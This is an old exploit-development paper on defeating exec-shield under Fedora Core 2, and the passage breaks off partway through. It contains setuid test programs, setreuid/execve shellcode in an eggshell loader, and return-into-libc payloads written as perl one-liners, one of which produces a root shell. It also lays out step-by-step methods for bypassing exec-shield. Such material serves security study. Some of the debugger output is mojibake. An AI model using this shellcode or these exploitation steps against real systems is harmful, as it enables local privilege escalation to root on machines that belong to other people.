Paper: How to exploit overflow vulnerability under Fedora Core 2
This paper is about the way of exploiting overflow vulnerability under
Fedora Core 2.
I don't think this is a perfect guide to the exploitation.
If there are some mistakes, give your feedback.
I just want this paper will help you to make much better papers about
subject.
_________________________________________________________________
전세계인이 함께하는 웹 메일 서비스인 MSN Hotmail을 만나 보세요.
http://loginnet.passport.com/login.srf?id=2&svc=mail&cbid=24325&msppjph=1&lc=1042
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
- How to Exploit Overflow Vulnerability Under Fedora Core -
by vangelis(vagelis@xxxxxxxxxxxxx)
Email: progressfree at hotmail.com
** This paper is based on beist(http://www.beist.org)'s wonderful article
"One Shot Overflow Attack Under Fedora Core2"(Korean) **
Thanks to beist!
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
-=[Contents]=-
1. What is Fedora Project
2. Limits of Classical and Return-into-libc Overflow Technique
3. What is exec-shield
4. A Good Hammer to Break Down 'exec-barrier'
1. What is Fedora Project?
You can find what Fedora Project is in the project
homepage(http://fedora.redhat.com).
Read the section "What is The Fedora Project?" in the main page:
The Fedora Project is a Red-Hat-sponsored and community-supported
open source project. It is also a proving ground for new technology
that may eventually make its way into Red Hat products. It is not a
supported product of Red Hat, Inc.
The goal of The Fedora Project is to work with the Linux community
to build a complete, general purpose operating system exclusively
from free software. Development will be done in a public forum. The
project will produce time-based releases of Fedora Core about 2-3
times a year with a public release schedule.The Red Hat engineering
team will continue to participate in the building of Fedora Core &
will invite and encourage more outside participation than was
possible in Red Hat Linux. By using this more open process, we hope
to provide an operating system that uses free software development
practices and is more appealing to the open source community.
Now, Fedora Core 3 is
available(http://fedora.redhat.com/download/#download). The one of the
main changes between previous version of Red Hat Linux(for example, Red Hat
8, 9.)and Fedora
Core is the supply of
exec-shield(http://people.redhat.com/mingo/exec-shield). This makes it
difficult for attackers to exploit overflow vulnerability under the
circumtances of Fedora
Core.
2. Limits of Classical and Return-into-libc Overflow Technique
You can use 'classical' overflow technique to exploit the systems till
Red Hat Linux 8.
Red Hat Linux 9 supplied random stack policy, and some systems supply
non-executable stack,
but we can overcome the security policies by using the return-into-libc
technique. You can
find various aticles including
mine(http://neworder.box.sk/newsread.php?newsid=12476) about
these. I have done test mostly in Red Hat system. So, now I just attach a
test in Debian
Sarge system. The following technique was first used to overcome
non-executable and random
stack. This is just for showing a methodology.
------------------ test in Debian
---------------------------------------------------------
vangelis@Sarge8:~/bof$ cat > ch.c
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
int main()
{
char file_name[20];
printf("Put the file name you want to chown and chmod: ");
scanf("%s",file_name);
chown(file_name,0,0);
chmod(file_name,04755);
exit(0);
}
vangelis@Sarge8:~/bof$ su
Password:
Sarge8:/home/vangelis/bof# gcc -o ch ch.c
Sarge8:/home/vangelis/bof# cat > vul.c
int main(int argc, char *argv[])
{
char buff[7];
strcpy(buff, argv[1]);
return 0;
}
Sarge8:/home/vangelis/bof# gcc -o vul vul.c
Sarge8:/home/vangelis/bof# ./ch
Put the file name you want to chown and chmod: vul
Sarge8:/home/vangelis/bof# ls -l vul
-rwsr-xr-x 1 root root 11921 2004-11-05 09:04 vul
Sarge8:/home/vangelis/bof# su vangelis
vangelis@Sarge8:~/bof$ env
TERM=vt100
SHELL=/bin/bash
SSH_CLIENT=::ffff:2xx.1xx.xx.xxx 3418 22
SSH_TTY=/dev/pts/6
USER=vangelis
:
vangelis@Sarge8:~/bof$ export TERM="vt100;/bin/sh"
vangelis@Sarge8:~/bof$ env
TERM=vt100;/bin/sh
SHELL=/bin/bash
SSH_CLIENT=::ffff:2xx.1xx.xx.xxx 3418 22
SSH_TTY=/dev/pts/6
USER=vangelis
:
vangelis@Sarge8:~/bof$ gdb vul
GNU gdb 6.1-debian
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-linux"...Using host libthread_db library
"/lib/tls/libthread_db.so.1".
(gdb) b main
Breakpoint 1 at 0x804836a
(gdb) r
Starting program: /home/vangelis/bof/vul
Breakpoint 1, 0x0804836a in main ()
(gdb) x/50x $ebp
0xbffffa88: 0xbffffb14 0x4003b7f8 0x00000001 0xbffffb14
0xbffffa98: 0xbffffb1c 0x00000000 0x4015dedc 0x400164a0
0xbffffaa8: 0xbffffaa0 0x080483a0 0xbffffa90 0x4003b7b4
0xbffffab8: 0x00000000 0x00000000 0x00000000 0x40016c40
0xbffffac8: 0x00000001 0x080482a0 0x00000000 0x4000bbe0
0xbffffad8: 0x4000c290 0x40016c40 0x00000001 0x080482a0
0xbffffae8: 0x00000000 0x080482c1 0x08048364 0x00000001
0xbffffaf8: 0xbffffb14 0x080483a0 0x08048400 0x4000c290
0xbffffb08: 0xbffffb0c 0x00000000 0x00000001 0xbffffc01
0xbffffb18: 0x00000000 0xbffffc18 0xbffffc28 0xbffffc3b
0xbffffb28: 0xbffffc64 0xbffffc77 0xbffffc85 0xbffffeba
0xbffffb38: 0xbffffec6 0xbfffff00 0xbfffff18 0xbfffff24
0xbffffb48: 0xbfffff3b 0xbfffff4d
(gdb) x/s 0xbffffc01
0xbffffc01: "/home/vangelis/bof/vul"
(gdb) x/8wx 0xbffffb1c
0xbffffb1c: 0xbffffc18 0xbffffc28 0xbffffc3b 0xbffffc64
0xbffffb2c: 0xbffffc77 0xbffffc85 0xbffffeba 0xbffffec6
(gdb) x/s 0xbffffc18
0xbffffc18: "SHELL=/bin/bash"
(gdb) disas main
Dump of assembler code for function main:
0x08048364 <main+0>: push %ebp
0x08048365 <main+1>: mov %esp,%ebp
0x08048367 <main+3>: sub $0x28,%esp
0x0804836a <main+6>: and $0xfffffff0,%esp
0x0804836d <main+9>: mov $0x0,%eax
0x08048372 <main+14>: sub %eax,%esp
0x08048374 <main+16>: mov 0xc(%ebp),%eax
0x08048377 <main+19>: add $0x4,%eax
0x0804837a <main+22>: mov (%eax),%eax
0x0804837c <main+24>: mov %eax,0x4(%esp)
0x08048380 <main+28>: lea 0xffffffe8(%ebp),%eax
0x08048383 <main+31>: mov %eax,(%esp)
0x08048386 <main+34>: call 0x8048288 <_init+56>
0x0804838b <main+39>: mov $0x0,%eax
0x08048390 <main+44>: leave
0x08048391 <main+45>: ret
0x08048392 <main+46>: nop
0x08048393 <main+47>: nop
0x08048394 <main+48>: nop
0x08048395 <main+49>: nop
0x08048396 <main+50>: nop
0x08048397 <main+51>: nop
0x08048398 <main+52>: nop
0x08048399 <main+53>: nop
0x0804839a <main+54>: nop
0x0804839b <main+55>: nop
0x0804839c <main+56>: nop
0x0804839d <main+57>: nop
0x0804839e <main+58>: nop
0x0804839f <main+59>: nop
End of assembler dump.
(gdb) x/i setuid
0x400d4160 <setuid>: push %ebx
(gdb) x/i system
0x400668b0 <system>: sub $0x10,%esp
(gdb) q
The program is running. Exit anyway? (y or n) y
vangelis@Sarge8:~/bof$
## exploit payload ##
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
| data to overflow | (ret of printf) x n(dis from **env to *env[0]) |
*setuid | *system |
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
0xbffffa98: 0xbffffb1c 0x00000000 0x4015dedc 0x400164a0
----------
*-- (**env)
|
0xbffffaa8: | 0xbffffaa0 0x080483a0 0xbffffa90 0x4003b7b4
0xbffffab8: | 0x00000000 0x00000000 0x00000000 0x40016c40
0xbffffac8: | 0x00000001 0x080482a0 0x00000000 0x4000bbe0
0xbffffad8: | 0x4000c290 0x40016c40 0x00000001 0x080482a0
0xbffffae8: | 0x00000000 0x080482c1 0x08048364 0x00000001
0xbffffaf8: | 0xbffffb14 0x080483a0 0x08048400 0x4000c290
0xbffffb08: | 0xbffffb0c 0x00000000 0x00000001 0xbffffc01
0xbffffb18: | 0x00000000 0xbffffc18 0xbffffc28 0xbffffc3b
| ----------
*-----------------> (*env[0])
(total 34)
vangelis@Sarge8:~/bof$ ./vul `perl -e 'print
"A"x28,"\xc9\x5a\x07\x40"x34,"\x60\x41\x0d\x40",
"\xb0\x68\x06\x40"'`
sh-3.00# id
uid=0(root) gid=1003(vangelis) groups=1003(vangelis)
sh-3.00#
--------- End of Test
---------------------------------------------------------------------
Now I will demonstrate the limitations of 'classical' overflow and
return-into-libc technique.
I use two technique in the following test. The test was performed in Fedora
Core 2. I haven't
have a chance to test in Fedora Core 3 yet. If there are some serious
differences in Core 3,
would you mail me and give an account in your 'own' Fedora Core 3 server to
test? After I had
finished an overflow test in Fedora Core 2 system, Fedora Core 3 was
released. I don't install
Fedora Core 3 due to my laziness.
------ Test by using classical overflow technique in Fedora Core 2
--------------------------
[root@testbed fedora]# cat > chogm.c
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
int main()
{
char file_name[20];
printf("Put the file name you want to chown and chmod: ");
scanf("%s",file_name);
chown(file_name,0,0);
chmod(file_name,04755);
exit(0);
}
[root@testbed fedora]# gcc -o chogm chogm.c
[root@testbed fedora]# cat > vul.c
int main(int argc, char *argv[])
{
char buff[7];
strcpy(buff, argv[1]);
return 0;
}
[root@testbed fedora]# gcc -o vul vul.c
[root@testbed fedora]# ./chogm
Put the file name you want to chown and chmod: vul
[root@testbed fedora]# ls -l vul
-rwsr-xr-x 1 root root 4729 11? 1 00:41 vul
[root@testbed fedora]#
+++++++++++++++
Use of eggshell
+++++++++++++++
[root@testbed fedora]# su vangelis
[vangelis@testbed fedora]$ cat > egg.c
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90
char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80" /* setreuid(0,0) */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
int main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) eggsize = atoi(argv[3]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_esp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
{
*(addr_ptr++) = addr;
}
ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(buff,"RET=",4);
putenv(buff);
system("/bin/bash");
}
[vangelis@testbed fedora]$ gcc -o egg egg.c
[vangelis@testbed fedora]$ ./egg
Using address: 0xfee81c18
[vangelis@testbed fedora]$ gdb -q vul
(no debugging symbols found)...Using host libthread_db library
"/lib/tls/libthread_db.so.1".
(gdb) disas main
Dump of assembler code for function main:
0x08048370 <main+0>: push %ebp
0x08048371 <main+1>: mov %esp,%ebp
0x08048373 <main+3>: sub $0x18,%esp // 24 bytes are needed to
overwrite
0x08048376 <main+6>: and $0xfffffff0,%esp
0x08048379 <main+9>: mov $0x0,%eax
0x0804837e <main+14>: sub %eax,%esp
0x08048380 <main+16>: sub $0x8,%esp
0x08048383 <main+19>: mov 0xc(%ebp),%eax
0x08048386 <main+22>: add $0x4,%eax
0x08048389 <main+25>: pushl (%eax)
0x0804838b <main+27>: lea 0xffffffe8(%ebp),%eax
0x0804838e <main+30>: push %eax
0x0804838f <main+31>: call 0x80482b0 <_init+56>
0x08048394 <main+36>: add $0x10,%esp
0x08048397 <main+39>: mov $0x0,%eax
0x0804839c <main+44>: leave
0x0804839d <main+45>: ret
0x0804839e <main+46>: nop
0x0804839f <main+47>: nop
End of assembler dump.
(gdb) q
[vangelis@testbed fedora]$ ./vul `perl -e 'print "\x18\xlc\xe8\xfe"x8'`
?
¸ê·¸ë©?
ìì
ì¤ë¥
[vangelis@testbed fedora]$ ./vul `perl -e 'print "\x18\xlc\xe8\xfe"x30'`
?
¸ê·¸ë©?
ìì
ì¤ë¥
[vangelis@testbed fedora]$
I failed in the test owing to the non-executable stack.
++++++++++++++++++++++++
use of return-into-libc
++++++++++++++++++++++++
[vangelis@testbed fedora]$ env
HOSTNAME=testbed
TERM=vt100
SHELL=/bin/bash
HISTSIZE=1000
:
[vangelis@testbed fedora]$ export HOSTNAME="testbed;/bin/sh"
[vangelis@testbed fedora]$ env
HOSTNAME=testbed;/bin/sh
TERM=vt100
SHELL=/bin/bash
HISTSIZE=1000
:
[vangelis@testbed fedora]$
[vangelis@testbed bof]$ gdb -q vul
(no debugging symbols found)...Using host libthread_db library
"/lib/tls/libthread_db.so.1".
(gdb) b main
Breakpoint 1 at 0x8048376
(gdb) r
Starting program: /home/vangelis/bof/vul
Error while mapping shared library sections:
: ?
±ê³µ.
Error while reading shared library symbols:
: ê·¸ë?íììë ëë í ë¦¬ê° ìì.
(no debugging symbols found)...(no debugging symbols found)...Error while
reading shared library symbols:
: ê·¸ë?íììë ëë í ë¦¬ê° ìì.
Error while reading shared library symbols:
: ê·¸ë?íììë ëë í ë¦¬ê° ìì.
Breakpoint 1, 0x08048376 in main ()
(gdb) x/50x $ebp
0xfeefe378: 0xfeefe3d8 0x0058cad4 0x00000001 0xfeefe404
0xfeefe388: 0xfeefe40c 0x00571f28 0x0068effc 0x00000000
0xfeefe398: 0xfeefe390 0xfeefe3d8 0xfeefe380 0x0058ca96
0xfeefe3a8: 0x00000000 0x00000000 0x00000000 0x00570fe0
0xfeefe3b8: 0x00000001 0x080482c0 0x00000000 0x00566840
0xfeefe3c8: 0x00567120 0x00570fe0 0x00000001 0x080482c0
0xfeefe3d8: 0x00000000 0x080482e1 0x08048370 0x00000001
0xfeefe3e8: 0xfeefe404 0x080483a0 0x080483e8 0x00567120
0xfeefe3f8: 0xfeefe3fc 0x0056d632 0x00000001 0xfefb4ba5
0xfeefe408: 0x00000000 0xfefb4bbc 0xfefb4be0 0xfefb4bf0
0xfeefe418: 0xfefb4bfb 0xfefb4c09 0xfefb4c32 0xfefb4c48
0xfeefe428: 0xfefb4c5d 0xfefb4c6b 0xfefb4e2e 0xfefb4e3a
0xfeefe438: 0xfefb4e45 0xfefb4e9b
(gdb) x/8x 0xfeefe40c
0xfeefe40c: 0xfefb4bbc 0xfefb4be0 0xfefb4bf0 0xfefb4bfb
0xfeefe41c: 0xfefb4c09 0xfefb4c32 0xfefb4c48 0xfefb4c5d
(gdb) x/s 0xfefb4bbc
0xfefb4bbc: "HOSTNAME=testbed;/bin/sh"
(gdb) x/i setuid
0x5fefc0 <setuid>: push %ebp
(gdb) x/i system
0x5ab5e0 <system>: push %ebp
(gdb) disas printf
Dump of assembler code for function printf:
0x005b92a0 <printf+0>: push %ebp
0x005b92a1 <printf+1>: mov %esp,%ebp
0x005b92a3 <printf+3>: sub $0x10,%esp
0x005b92a6 <printf+6>: mov %ebx,0xfffffffc(%ebp)
0x005b92a9 <printf+9>: mov 0x8(%ebp),%edx
0x005b92ac <printf+12>: lea 0xc(%ebp),%ecx
0x005b92af <printf+15>: call 0x58c90d <__i686.get_pc_thunk.bx>
0x005b92b4 <printf+20>: add $0xd5d48,%ebx
0x005b92ba <printf+26>: mov %ecx,0x8(%esp)
0x005b92be <printf+30>: mov 0xfffffe7c(%ebx),%ecx
0x005b92c4 <printf+36>: mov %edx,0x4(%esp)
0x005b92c8 <printf+40>: mov (%ecx),%edx
0x005b92ca <printf+42>: mov %edx,(%esp)
0x005b92cd <printf+45>: call 0x5b0620 <vfprintf>
0x005b92d2 <printf+50>: mov 0xfffffffc(%ebp),%ebx
0x005b92d5 <printf+53>: mov %ebp,%esp
0x005b92d7 <printf+55>: pop %ebp
0x005b92d8 <printf+56>: ret
0x005b92d9 <printf+57>: nop
0x005b92da <printf+58>: nop
0x005b92db <printf+59>: nop
0x005b92dc <printf+60>: nop
0x005b92dd <printf+61>: nop
0x005b92de <printf+62>: nop
0x005b92df <printf+63>: nop
End of assembler dump.
(gdb) q
The program is running. Exit anyway? (y or n) y
[vangelis@testbed bof]$
[vangelis@testbed fedora]$ ./vul `perl -e 'print
"A"x28,"\xd8\x92\x5b"x34,"\c0\ef\x5f","\xe0\xb5\x5a"'`
?
¸ê·¸ë©?
ìì
ì¤ë¥
[vangelis@testbed fedora]$ ./vul "`perl -e 'print
"A"x28,"\x00\xd8\x92\x5b"x34,"\x00\c0\ef\x5f",
"\x00\xe0\xb5\x5a"'`"
?
¸ê·¸ë©?
ìì
ì¤ë¥
[vangelis@testbed fedora]$
Even though I used an advanced return-into-libc technique, I also failed in
the test.
--------- End of Test
---------------------------------------------------------------------
Now we can find it hard to apply the calssiacl & return-into-libc technique
to exploitation.
This is because of the exec-shield. Let's check what exec-shield is.
3. What is exec-shield?
You can understand 'what exec-shield is' by redaing
"ANNOUNCE-exec-shield". You can find
"ANNOUNCE-exec-shield" in
"http://people.redhat.com/mingo/exec-shield/ANNOUNCE-exec-shield".
"ANNOUNCE-exec-shield" is a detailed explanation about 'exec-shield'. Let's
check essential
parts of "ANNOUNCE-exec-shield" for exploitation:
"The exec-shield feature provides protection against stack, buffer
or
function pointer overflows, and against other types of exploits
that
rely on overwriting data structures and/or putting code into
those
structures. The patch also makes it harder to pass in and execute
the
so-called 'shell-code' of exploits.
Background:
-----------
It is commonly known that x86 pagetables do not support the
so-called
executable bit in the pagetable entries - PROT_EXEC and PROT_READ
are
merged into a single 'read or execute' flag. This means that even if
an
application marks a certain memory area non-executable(by not
providing
the PROT_EXEC flag upon mapping it) under x86, that area is
still
executable, if the area is PROT_READ.
Furthermore, the x86 ELF ABI marks the process stack executable,
which
requires that the stack is marked executable even on CPUs that
support
an executable bit in the pagetables.
This problem has been addressed in the past by various kernel
patches,
such as Solar Designer's excellent "non-exec stack patch".These
patches
mostly operate by using the x86 segmentation feature to set the
code
segment 'limit' value to a certain fixed value that points right
below
the stack frame. The exec-shield tries to cover as much virtual
memory
via the code segment limit as possible - not just the stack.
Implementation:
---------------
The exec-shield feature works via the kernel transparently
tracking
executable mappings an application specifies, and maintains a
'maximum
executable address' value.This is called the 'exec-limit'.The
scheduler
uses the exec-limit to update the code segment descriptor upon
each
context-switch. Since each process (or thread) in the system can
have a
different exec-limit, the scheduler sets the user code segment
dynamica-
lly so that always the correct code-segment limit is used.
:
Furthermore, the kernel also remaps all PROT_EXEC mappings to the
so-called
ASCII-armor area, which on x86 is the addresses 0-16MB. These
addresses
are special because they cannot be jumped to via ASCII-based
overflows.
:
this means that not only the stack is non-executable, but lots
of
mmap()-ed data areas and the malloc() heap is non-executable as
well.
(some data areas are still executable, but most of them are not.)
the first 1MB of the ASCII-armor is left unused to provide NULL
pointer
dereference protection and leave space for 16-bit emulation mappings
used
by XFree86 and others.
:
Note that the kernel will relocate every shared-library to the
ASCII-
armor, but the binary address is determined at link-time.
Limitations:
------------
This feature will not protect against every type of attack.
E.g. if an overflow can be used to overwrite a local variable
which
changes the flow of control in a way that compromises the system.But
we
do believe that this feature will stop every attack that is
purely
operating by overflowing the return address on the stack,or
overflowing
a function pointer in the heap. Furthermore, exec-shield makes it
quite
hard to mount a successful attack even in the other cases, because
it
inhibits the execution of exploit shell-code, in most cases.
also, if the overflow is within the exec-shield itself (e.g. within
the
data section of one of the shared library objects in the
ASCII-armor)
then the overflow might be possible to exploit.
also, it is possible to jump into the first 16MB even via ASCII
attacks,
if the overflow string is short and the end-of-string \0 byte is
used.
In this case it's not possible to pass arguments to the called
function
though, making the attack quite hard to succeed.(But it's not
impossible,
if there's a function in the binary that gives a root shell if
simply
called, then that can be used for the attack.)
All in one, exec-shield is one barrier against attacks, not blanket
100%
protection in any way. The most efficient security can be provided
by
installing as many layers as possible.
To provide as good protection as possible, there's no
trampoline
workaround in the exec-shield code - ie. exec-limit violations in
the
trampoline case are never let through. Applications that need to
rely
on gcc trampolines will have to use the per-binary ELF flag to make
the
stack executable again. (The ELF flag is the same as used by
Solar
Designer's non-exec stack patch, to provide as much compatibility
with
existing non-exec-stack installations as possible.)
The exec-shield feature will uncover applications that
incorrectly
assumed that PROT_READ allows execution on x86."
:
I strongly suggest you to read the whole "ANNOUNCE-exec-shield" to
understand 'exec-shield'.
Now I will summarize four main points of "ANNOUNCE-exec-shield" for readers.
1) "The exec-shield feature provides protection against stack, buffer or
function pointer
overflows, and against other types of exploits that rely on overwriting
data structures
and / or putting code into those structures." So it is almost impossible
for us to use
shellcode for exploitation. This is because stack is non-execuatble and
many map()-ed
data areas and the malloc() heap is non-executable as well. You could
identify this
in the "Use of eggshell" section of my "Test by using classical
overflow technique in
Fedora Core 2".
2) Kernel remaps all PROT_EXEC mappings to the 'ASCII-armor' area, which
on x86 is the
addresses 0-16MB. So they cannot be jumped to via ASCII-based overflows.
The first 1MB
of the ASCII-armor is left unused to provide 'NULL pointer dereference
protection'. And
kernel relocates every shared-library to the ASCII-armor. In the
classical and return-
into-libc technique, we use 4 bytes address to exploit.But we can't use 4
bytes address
system to overwrite stack owing to the NULL pointer dereference
protection.And the more
serious thing is that kernel relocates every shared-library to the
ASCII-armor, so we
can't use 'classical' return-into-libc. Most of case, we use the address
of system() in
the return-into-libc technique. Look at the following result from Fedora
Core 2:
(gdb) x/i setuid
0x005fefc0 <setuid>: push %ebp
(gdb) x/i system
0x005ab5e0 <system>: push %ebp
As you can see, NULL pointer dereference protection is applied.
Look at the following mapping state of library area.
[vangelis@testbed fedora]$ cat /proc/25297/maps
0055b000-00570000 r-xp 00000000 03:05 84857 /lib/ld-2.3.3.so
00570000-00571000 r--p 00014000 03:05 84857 /lib/ld-2.3.3.so
00571000-00572000 rw-p 00015000 03:05 84857 /lib/ld-2.3.3.so
00578000-0068d000 r-xp 00000000 03:05 84858 /lib/tls/libc-2.3.3.so
0068d000-0068f000 r--p 00115000 03:05 84858 /lib/tls/libc-2.3.3.so
0068f000-00691000 rw-p 00117000 03:05 84858 /lib/tls/libc-2.3.3.so
00691000-00693000 rw-p 00000000 00:00 0
006ba000-006bc000 r-xp 00000000 03:05 84860 /lib/libdl-2.3.3.so
006bc000-006bd000 r--p 00001000 03:05 84860 /lib/libdl-2.3.3.so
006bd000-006be000 rw-p 00002000 03:05 84860 /lib/libdl-2.3.3.so
008d6000-008d9000 r-xp 00000000 03:05 84874 /lib/libtermcap.so.2.0.8
008d9000-008da000 rw-p 00002000 03:05 84874 /lib/libtermcap.so.2.0.8
00bf4000-00bfe000 r-xp 00000000 03:05 80211
/lib/libnss_files-2.3.3.so
00bfe000-00bff000 r--p 00009000 03:05 80211
/lib/libnss_files-2.3.3.so
00bff000-00c00000 rw-p 0000a000 03:05 80211
/lib/libnss_files-2.3.3.so
00f4f000-00f50000 r-xp 00000000 00:00 0
08047000-080d2000 r-xp 00000000 03:05 70763 /bin/bash
080d2000-080d8000 rw-p 0008b000 03:05 70763 /bin/bash
080d8000-080dc000 rw-p 00000000 00:00 0
09a65000-09a86000 rw-p 00000000 00:00 0
f6d11000-f6d12000 rw-p 00000000 00:00 0
f6d12000-f6d18000 r--s 00000000 03:02 711249
/usr/lib/gconv/gconv-modules.cache
f6d18000-f6e3f000 r--p 0187d000 03:02 697386
/usr/lib/locale/locale-archive
f6e3f000-f703f000 r--p 00000000 03:02 697386
/usr/lib/locale/locale-archive
f703f000-f7080000 rw-p 00000000 00:00 0
f70a3000-f70a5000 rw-p fffff000 00:00 0
feea4000-ff000000 rw-p fff65000 00:00 0
ffffd000-ffffe000 ---p 00000000 00:00 0
[vangelis@testbed fedora]$
The library area is within the ASCII-armor.
3) "If the overflow is within the exec-shield itself (e.g. within the data
section of one
of the shared library objects in the ASCII-armor) then the overflow
might be possible
to exploit."
4) The exec-shield is not an 'exec-blanket' for 100% protection but just one
'exec-barrier'
against attacks. So it is worth making good hammer to break down the
'exec-barrier'.
Don't you think so? Now, it's time to make a good hammer or at least a
spear.
4. A Good Hammer to Break Down 'exec-barrier'
Before going into the middle of the battle field, let's check the
difference between the
Red Hat 9.0 and Fedora Core 2. beist(http://beist.org) supplied me with the
following neat
table.
[Memory Mapping Table]
+----------+---------------------------------+--------------------------------+
| | Red HaT LINUX 9.0 | Fedora CORE2
|
|----------+---------------------------------+--------------------------------+
| Library | /lib/ld-2.3.2.so | /lib/ld-2.3.3.so
|
| | 0x40000000 - 0x40016fff | 0x00415000 - 0x0042bfff
|
| | |
|
| | /lib/tls/libc-2.3.2.so | /lib/tls/libc-2.3.3.so
|
| | 0x42000000 - 0x42132fff | 0x00432000 - 0x0054afff
|
| | |
|
| | | * position of
'libc-2.3.3.so' |
| | | may change.
|
|----------+---------------------------------+--------------------------------+
| Text | 0x8048000 - 0x8048fff | 0x8048000 - 0x8048fff
|
+----------+---------------------------------+--------------------------------+
| Data | 0x8049000 - 0x8049fff | 0x8049000 - 0x8049fff
|
+----------+---------------------------------+--------------------------------+
[Main Features]
+----------------------+-----------------------+---------------------+
| | Red HaT LINUX 9.0 | Fedora CORE2 |
|----------------------+-----------------------+---------------------+
| Random Stack | O | O |
|----------------------+-----------------------+---------------------+
| Non-executable Stack | x | O |
+----------------------+-----------------------+---------------------+
| Random Library | x | O |
+----------------------+-----------------------+---------------------+
Now, let's go into the middle of battle field. As we saw, it might be
possible to exploit
the overflow vulnerability if we use data section. More precisly speaking,
we will use some
values of data segment area with execl() function. I'll open the main
points right now for
the readers of this articles who can't wait any more. I mean the process
of exploit. And
then I will explain each step.
++++++++++++++++++
Steps to exploit
++++++++++++++++++
1) Find the address of <execl+3>, which is used as return address.
2) Examine the data segment area to find the arguments of execl().
3) Examine the values of first argument of execl() to use symbolic link.
4) Make an exploit code for the sake of keeping the privilege of a process
and spawning
a shell.
5) Make symbolic link to the exploit with the values of first argument of
execl().
6) Make a final exploit payload as follows:
+-------------------------+--------------------------------+---------------+
| data to overflow buffer | *first argument of execl() - 8 | *<execl + 3>
|
+-------------------------+--------------------------------+---------------+
It might be a little difficult for you to understand the whole steps yet.
But, Don't worry.
You will find yourself playing with a wonderful hammer to break down the
'exec-barrier'in a
few minutes.
Let's make a simple vulnerable program.
[vangelis@testbed fedora]$ cat > vul.c
int main(int argc, char *argv[])
{
char buffer[256];
strcpy(buffer,argv[1]);
return 0;
}
[vangelis@testbed fedora]$ gcc -o vul vul.c
Let's make some changes for the perfect test.
[vangelis@testbed fedora]$ su
Password:
[root@testbed fedora]# chgrp root vul
[root@testbed fedora]# chown root vul
[root@testbed fedora]# chmod 4755 vul
[root@testbed fedora]# ls -l vul
-rwsr-xr-x 1 root root 4733 11?12 23:11 vul
[root@testbed fedora]# su vangelis
[vangelis@testbed fedora]$
Well.. we are ready to attack the vulnerable program. Do you remember the
first step?...
Good! The first step is quite easy. You can find the address of <execl+3> by
using gdb.
[vangelis@testbed fedora]$ gdb vul
GNU gdb Red Hat Linux (6.0post-0.20040223.19rh)
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...(no debugging symbols
found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) b main
Breakpoint 1 at 0x8048379
(gdb) r
Starting program: /home/vangelis/fedora/vul
Error while mapping shared library sections:
: ?
±ê³µ.
Error while reading shared library symbols:
: ê·¸ë?íììë ëë í ë¦¬ê° ìì.
(no debugging symbols found)...(no debugging symbols found)...Error while
reading shared library symbols:
: ê·¸ë?íììë ëë í ë¦¬ê° ìì.
Error while reading shared library symbols:
: ê·¸ë?íììë ëë í ë¦¬ê° ìì.
Breakpoint 1, 0x08048379 in main ()
(gdb) disas execl
Dump of assembler code for function execl:
0x005fea00 <execl+0>: push %ebp
0x005fea01 <execl+1>: mov %esp,%ebp
0x005fea03 <execl+3>: lea 0x10(%ebp),%eax
0x005fea06 <execl+6>: push %edi
0x005fea07 <execl+7>: push %esi
0x005fea08 <execl+8>: push %ebx
0x005fea09 <execl+9>: sub $0x1030,%esp
0x005fea0f <execl+15>: mov 0xc(%ebp),%ecx
0x005fea12 <execl+18>: movl $0x400,0xfffffff0(%ebp)
0x005fea19 <execl+25>: lea 0x1b(%esp),%esi
0x005fea1d <execl+29>: and $0xfffffff0,%esi
0x005fea20 <execl+32>: call 0x58c90d <__i686.get_pc_thunk.bx>
0x005fea25 <execl+37>: add $0x905d7,%ebx
0x005fea2b <execl+43>: mov %ecx,(%esi)
0x005fea2d <execl+45>: test %ecx,%ecx
0x005fea2f <execl+47>: mov %eax,0xffffffe8(%ebp)
0x005fea32 <execl+50>: movl $0x1,0xffffffec(%ebp)
0x005fea39 <execl+57>: je 0x5fea73 <execl+115>
0x005fea3b <execl+59>: movl $0x1a,0xffffffe0(%ebp)
0x005fea42 <execl+66>: lea 0x0(%esi),%esi
0x005fea49 <execl+73>: lea 0x0(%edi),%edi
